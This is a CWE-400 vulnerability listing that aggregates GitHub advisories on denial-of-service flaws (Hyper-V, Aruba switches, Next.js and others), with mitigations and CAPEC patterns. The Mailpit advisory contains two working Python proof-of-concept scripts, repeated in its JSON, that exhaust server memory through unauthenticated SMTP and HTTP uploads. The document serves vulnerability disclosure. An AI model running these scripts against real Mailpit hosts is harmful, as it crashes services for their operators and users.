CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5401 vulnerabilities reference this CWE, most recent first.
GHSA-FMXM-F4R3-PVGQ
Vulnerability from github – Published: 2024-10-08 18:33 – Updated: 2024-10-08 18:33Windows Hyper-V Denial of Service Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-43575"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-08T18:15:25Z",
"severity": "HIGH"
},
"details": "Windows Hyper-V Denial of Service Vulnerability",
"id": "GHSA-fmxm-f4r3-pvgq",
"modified": "2024-10-08T18:33:17Z",
"published": "2024-10-08T18:33:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43575"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43575"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FP3C-5CV2-3XV4
Vulnerability from github – Published: 2022-09-07 00:01 – Updated: 2022-09-13 00:00Multiple vulnerabilities exist in the processing of packet data by the LLDP service of AOS-CX. Successful exploitation of these vulnerabilities may allow an attacker to impact the availability of the AOS-CX LLDP service and/or the management plane of the switch in ArubaOS-CX Switches version(s): AOS-CX 10.09.xxxx: 10.09.1010 and below, AOS-CX 10.08.xxxx: 10.08.1050 and below, AOS-CX 10.06.xxxx: 10.06.0190 and below. Aruba has released upgrades for ArubaOS-CX Switch Devices that address these security vulnerabilities.
{
"affected": [],
"aliases": [
"CVE-2022-23689"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-06T18:15:00Z",
"severity": "MODERATE"
},
"details": "Multiple vulnerabilities exist in the processing of packet data by the LLDP service of AOS-CX. Successful exploitation of these vulnerabilities may allow an attacker to impact the availability of the AOS-CX LLDP service and/or the management plane of the switch in ArubaOS-CX Switches version(s): AOS-CX 10.09.xxxx: 10.09.1010 and below, AOS-CX 10.08.xxxx: 10.08.1050 and below, AOS-CX 10.06.xxxx: 10.06.0190 and below. Aruba has released upgrades for ArubaOS-CX Switch Devices that address these security vulnerabilities.",
"id": "GHSA-fp3c-5cv2-3xv4",
"modified": "2022-09-13T00:00:40Z",
"published": "2022-09-07T00:01:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23689"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-012.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-FP4H-PPQJ-PRV5
Vulnerability from github – Published: 2024-01-29 15:30 – Updated: 2024-01-29 15:30Uncontrolled resource consumption vulnerability in SE-elektronic GmbH E-DDC3.3 affecting versions 03.07.03 and higher. An attacker could interrupt the availability of the administration panel by sending multiple ICMP packets.
{
"affected": [],
"aliases": [
"CVE-2024-1014"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-29T14:15:09Z",
"severity": "MODERATE"
},
"details": "Uncontrolled resource consumption vulnerability in SE-elektronic GmbH E-DDC3.3 affecting versions 03.07.03 and higher. An attacker could interrupt the availability of the administration panel by sending multiple ICMP packets.",
"id": "GHSA-fp4h-ppqj-prv5",
"modified": "2024-01-29T15:30:29Z",
"published": "2024-01-29T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1014"
},
{
"type": "WEB",
"url": "https://www.hackplayers.com/2024/01/cve-2024-1014-and-cve-2024-1015.html"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-se-elektronic-gmbh-products"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FP99-783G-3PG9
Vulnerability from github – Published: 2025-10-21 21:33 – Updated: 2025-10-21 21:33Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Object Store). The supported version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-62478"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-21T20:20:54Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Object Store). The supported version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-fp99-783g-3pg9",
"modified": "2025-10-21T21:33:44Z",
"published": "2025-10-21T21:33:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62478"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FP9V-3QQ8-MW7C
Vulnerability from github – Published: 2022-02-25 00:01 – Updated: 2022-03-17 00:05Denial of Service in GitHub repository radareorg/radare2 prior to 5.6.4.
{
"affected": [],
"aliases": [
"CVE-2022-0695"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-24T13:15:00Z",
"severity": "MODERATE"
},
"details": "Denial of Service in GitHub repository radareorg/radare2 prior to 5.6.4.",
"id": "GHSA-fp9v-3qq8-mw7c",
"modified": "2022-03-17T00:05:16Z",
"published": "2022-02-25T00:01:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0695"
},
{
"type": "WEB",
"url": "https://github.com/radareorg/radare2/commit/634b886e84a5c568d243e744becc6b3223e089cf"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/bdbddc0e-fb06-4211-a90b-7cbedcee2bea"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BZTIMAS53YT66FUS4QHQAFRJOBMUFG6D"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/E6YBRQ3UCFWJVSOYIKPVUDASZ544TFND"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPCJ-QXXF-C8WX
Vulnerability from github – Published: 2022-05-17 04:42 – Updated: 2025-10-03 00:31Triangle MicroWorks SCADA Data Gateway before 3.00.0635 allows physically proximate attackers to cause a denial of service (excessive data processing) via a crafted DNP request over a serial line.
{
"affected": [],
"aliases": [
"CVE-2014-2343"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-05-30T23:55:00Z",
"severity": "LOW"
},
"details": "Triangle MicroWorks SCADA Data Gateway before 3.00.0635 allows physically proximate attackers to cause a denial of service (excessive data processing) via a crafted DNP request over a serial line.",
"id": "GHSA-fpcj-qxxf-c8wx",
"modified": "2025-10-03T00:31:00Z",
"published": "2022-05-17T04:42:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2343"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-14-149-01"
},
{
"type": "WEB",
"url": "http://ics-cert.us-cert.gov/advisories/ICSA-14-149-01"
},
{
"type": "WEB",
"url": "http://www.trianglemicroworks.com/products/scada-data-gateway/what%27s-new"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FPJ8-9J3X-3JFX
Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2024-04-04 02:38navcoin through 4.3.0 (a chain-based proof-of-stake cryptocurrency) allows a remote denial of service. The attacker sends invalid headers/blocks. The attack requires no stake and can fill the victim's disk and RAM.
{
"affected": [],
"aliases": [
"CVE-2018-19155"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-05T21:15:00Z",
"severity": "HIGH"
},
"details": "navcoin through 4.3.0 (a chain-based proof-of-stake cryptocurrency) allows a remote denial of service. The attacker sends invalid headers/blocks. The attack requires no stake and can fill the victim\u0027s disk and RAM.",
"id": "GHSA-fpj8-9j3x-3jfx",
"modified": "2024-04-04T02:38:06Z",
"published": "2022-05-24T17:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19155"
},
{
"type": "WEB",
"url": "https://medium.com/%40dsl_uiuc/fake-stake-attacks-on-chain-based-proof-of-stake-cryptocurrencies-b8b05723f806"
},
{
"type": "WEB",
"url": "https://medium.com/@dsl_uiuc/fake-stake-attacks-on-chain-based-proof-of-stake-cryptocurrencies-b8b05723f806"
},
{
"type": "WEB",
"url": "http://fc19.ifca.ai/preproceedings/180-preproceedings.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPM5-VV97-JFWG
Vulnerability from github – Published: 2021-05-18 01:57 – Updated: 2021-04-15 21:39This affects the package @firebase/util before 0.3.4. This vulnerability relates to the deepExtend function within the DeepCopy.ts file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@firebase/util"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7765"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-15T21:39:07Z",
"nvd_published_at": "2020-11-16T12:15:00Z",
"severity": "MODERATE"
},
"details": "This affects the package @firebase/util before 0.3.4. This vulnerability relates to the deepExtend function within the DeepCopy.ts file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.",
"id": "GHSA-fpm5-vv97-jfwg",
"modified": "2021-04-15T21:39:07Z",
"published": "2021-05-18T01:57:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7765"
},
{
"type": "WEB",
"url": "https://github.com/firebase/firebase-js-sdk/pull/4001"
},
{
"type": "WEB",
"url": "https://github.com/firebase/firebase-js-sdk/commit/9cf727fcc3d049551b16ae0698ac33dc2fe45ada"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-FIREBASEUTIL-1038324"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled Resource Consumption in firebase"
}
GHSA-FPXJ-M5Q8-FPHW
Vulnerability from github – Published: 2026-05-19 15:54 – Updated: 2026-05-19 15:54Summary
The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill.
Details
Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates).
Affected code internal/smtpd/smtpd.go:107 — the field exists:
type Server struct {
...
MaxSize int // Maximum message size allowed, in bytes
...
}
internal/smtpd/smtpd.go:863-877 — the enforcement is gated on > 0:
for {
...
line, err := s.br.ReadBytes('\n')
if err != nil {
return nil, err
}
if bytes.Equal(line, []byte(".\r\n")) {
break
}
if line[0] == '.' {
line = line[1:]
}
if s.srv.MaxSize > 0 { // ← only when set
if len(data)+len(line) > s.srv.MaxSize {
_, _ = s.br.Discard(s.br.Buffered())
return nil, maxSizeExceeded(s.srv.MaxSize)
}
}
data = append(data, line...) // ← otherwise grows unbounded
}
internal/smtpd/main.go:223-248 — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.
server/apiv1/send.go:45-52 — HTTP path has the same defect:
decoder := json.NewDecoder(r.Body)
data := sendMessageParams{}
if err := decoder.Decode(&data.Body); err != nil {
httpJSONError(w, err.Error())
return
}
No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.
PoC
Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth):
#!/usr/bin/env python3
# poc-smtp-dos.py
import socket, sys
host, port = sys.argv[1], int(sys.argv[2])
mb = int(sys.argv[3]) # message size, MiB
s = socket.create_connection((host, port), timeout=120)
def r(): return s.recv(4096).decode("latin-1", "replace").strip()
print(r())
for cmd in [b"HELO x\r\n",
b"MAIL FROM:<a@b.com>\r\n",
b"RCPT TO:<c@d.com>\r\n",
b"DATA\r\n"]:
s.sendall(cmd); print(r())
s.sendall(b"Subject: oversize\r\n\r\n")
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(b"\r\n.\r\n")
print(r()); s.close()
$ python3 poc-smtp-dos.py 127.0.0.1 1025 100
220 hostname Mailpit ESMTP Service ready
250 hostname greets x
250 2.1.0 Ok
250 2.1.5 Ok
354 Start mail input; end with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
1062848 # ≈ 1 037 MiB, up from 25 MiB baseline
Equivalent over HTTP:
# poc-http-dos.py
import socket, sys
host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])
prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"'
suffix = b'"}'
N = mb * 1024 * 1024
clen = len(prefix) + N + len(suffix)
s = socket.create_connection((host, port), timeout=120)
s.sendall(
b"POST /api/v1/send HTTP/1.1\r\n"
b"Host: x\r\n"
b"Content-Type: application/json\r\n"
b"Content-Length: " + str(clen).encode() + b"\r\n"
b"Connection: close\r\n\r\n")
s.sendall(prefix)
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(suffix)
print(s.recv(500).decode("latin-1", "replace"))
$ python3 poc-http-dos.py 127.0.0.1 8025 200
HTTP/1.1 200 OK
...
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
2147000 # comfortably above 2 GiB on the same process
Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB → 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM.
Impact
Unauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45713"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T15:54:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go\u0027s zero value (0 \u21d2 \"no limit\"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit\u0027s default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10\u00d7 amplification factor (raw frame \u2192 enmime envelope tree \u2192 search-text index \u2192 zstd-encoded write to SQLite). Repeating the attack \u2014 or running it concurrently from multiple connections \u2014 drives the process to OOM-kill.\n\n### Details\nPre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes \u2014 so 500 attacker-sized messages \u00d7 1 GiB each = ~500 GiB on the host disk before the LRU rotates).\n\n\nAffected code\n[internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) \u2014 the field exists:\n\n```\ntype Server struct {\n ...\n MaxSize int // Maximum message size allowed, in bytes\n ...\n}\n```\n[internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) \u2014 the enforcement is gated on \u003e 0:\n\n```\nfor {\n ...\n line, err := s.br.ReadBytes(\u0027\\n\u0027)\n if err != nil {\n return nil, err\n }\n if bytes.Equal(line, []byte(\".\\r\\n\")) {\n break\n }\n if line[0] == \u0027.\u0027 {\n line = line[1:]\n }\n\n if s.srv.MaxSize \u003e 0 { // \u2190 only when set\n if len(data)+len(line) \u003e s.srv.MaxSize {\n _, _ = s.br.Discard(s.br.Buffered())\n return nil, maxSizeExceeded(s.srv.MaxSize)\n }\n }\n data = append(data, line...) // \u2190 otherwise grows unbounded\n}\n```\n[internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) \u2014 the field is never populated; grep -rn \"MaxSize\" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.\n\n[server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) \u2014 HTTP path has the same defect:\n\n```\ndecoder := json.NewDecoder(r.Body)\ndata := sendMessageParams{}\nif err := decoder.Decode(\u0026data.Body); err != nil {\n httpJSONError(w, err.Error())\n return\n}\n```\n\nNo r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.\n\n### PoC\nBaseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (\u224810\u00d7 amplification, single connection, no auth):\n\n```\n#!/usr/bin/env python3\n# poc-smtp-dos.py\nimport socket, sys\nhost, port = sys.argv[1], int(sys.argv[2])\nmb = int(sys.argv[3]) # message size, MiB\n\ns = socket.create_connection((host, port), timeout=120)\ndef r(): return s.recv(4096).decode(\"latin-1\", \"replace\").strip()\nprint(r())\nfor cmd in [b\"HELO x\\r\\n\",\n b\"MAIL FROM:\u003ca@b.com\u003e\\r\\n\",\n b\"RCPT TO:\u003cc@d.com\u003e\\r\\n\",\n b\"DATA\\r\\n\"]:\n s.sendall(cmd); print(r())\ns.sendall(b\"Subject: oversize\\r\\n\\r\\n\")\nchunk = b\"X\" * (1024 * 1024)\nfor _ in range(mb): s.sendall(chunk)\ns.sendall(b\"\\r\\n.\\r\\n\")\nprint(r()); s.close()\n```\n\n```\n$ python3 poc-smtp-dos.py 127.0.0.1 1025 100\n220 hostname Mailpit ESMTP Service ready\n250 hostname greets x\n250 2.1.0 Ok\n250 2.1.5 Ok\n354 Start mail input; end with \u003cCR\u003e\u003cLF\u003e.\u003cCR\u003e\u003cLF\u003e\n250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj\n\n$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)\n1062848 # \u2248 1 037 MiB, up from 25 MiB baseline\n```\n\nEquivalent over HTTP:\n\n```\n# poc-http-dos.py\nimport socket, sys\nhost, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])\nprefix = b\u0027{\"From\":{\"Email\":\"a@b.com\"},\"To\":[{\"Email\":\"c@d.com\"}],\"Subject\":\"big\",\"Text\":\"\u0027\nsuffix = b\u0027\"}\u0027\nN = mb * 1024 * 1024\nclen = len(prefix) + N + len(suffix)\n\ns = socket.create_connection((host, port), timeout=120)\ns.sendall(\n b\"POST /api/v1/send HTTP/1.1\\r\\n\"\n b\"Host: x\\r\\n\"\n b\"Content-Type: application/json\\r\\n\"\n b\"Content-Length: \" + str(clen).encode() + b\"\\r\\n\"\n b\"Connection: close\\r\\n\\r\\n\")\ns.sendall(prefix)\nchunk = b\"X\" * (1024 * 1024)\nfor _ in range(mb): s.sendall(chunk)\ns.sendall(suffix)\nprint(s.recv(500).decode(\"latin-1\", \"replace\"))\n```\n\n```\n$ python3 poc-http-dos.py 127.0.0.1 8025 200\nHTTP/1.1 200 OK\n...\n$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)\n2147000 # comfortably above 2 GiB on the same process\n\n```\n\nFive concurrent SMTP connections \u00d7 50 MiB each took the same machine from 25 MiB \u2192 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM.\n\n### Impact\nUnauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)",
"id": "GHSA-fpxj-m5q8-fphw",
"modified": "2026-05-19T15:54:12Z",
"published": "2026-05-19T15:54:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-fpxj-m5q8-fphw"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.30.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mailpit: Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes"
}
GHSA-FQ54-2J52-JC42
Vulnerability from github – Published: 2024-07-10 16:03 – Updated: 2024-11-06 14:30Impact
A Denial of Service (DoS) condition was identified in Next.js. Exploitation of the bug can trigger a crash, affecting the availability of the server.
This vulnerability can affect all Next.js deployments on the affected versions.
Patches
This vulnerability was resolved in Next.js 13.5 and later. We recommend that users upgrade to a safe version.
Workarounds
There are no official workarounds for this vulnerability.
Credit
- Thai Vu of flyseccorp.com
- Aonan Guan (@0dd), Senior Cloud Security Engineer
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "13.3.1"
},
{
"fixed": "13.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39693"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-10T16:03:06Z",
"nvd_published_at": "2024-07-10T20:15:04Z",
"severity": "HIGH"
},
"details": "### Impact\nA Denial of Service (DoS) condition was identified in Next.js. Exploitation of the bug can trigger a crash, affecting the availability of the server.\n\n**This vulnerability can affect all Next.js deployments on the affected versions.**\n\n### Patches\nThis vulnerability was resolved in Next.js 13.5 and later. We recommend that users upgrade to a safe version.\n\n### Workarounds\nThere are no official workarounds for this vulnerability.\n\n#### Credit\n* Thai Vu of [flyseccorp.com](http://flyseccorp.com/)\n* Aonan Guan (@0dd), Senior Cloud Security Engineer",
"id": "GHSA-fq54-2j52-jc42",
"modified": "2024-11-06T14:30:33Z",
"published": "2024-07-10T16:03:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-fq54-2j52-jc42"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39693"
},
{
"type": "PACKAGE",
"url": "https://github.com/vercel/next.js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Next.js Denial of Service (DoS) condition"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.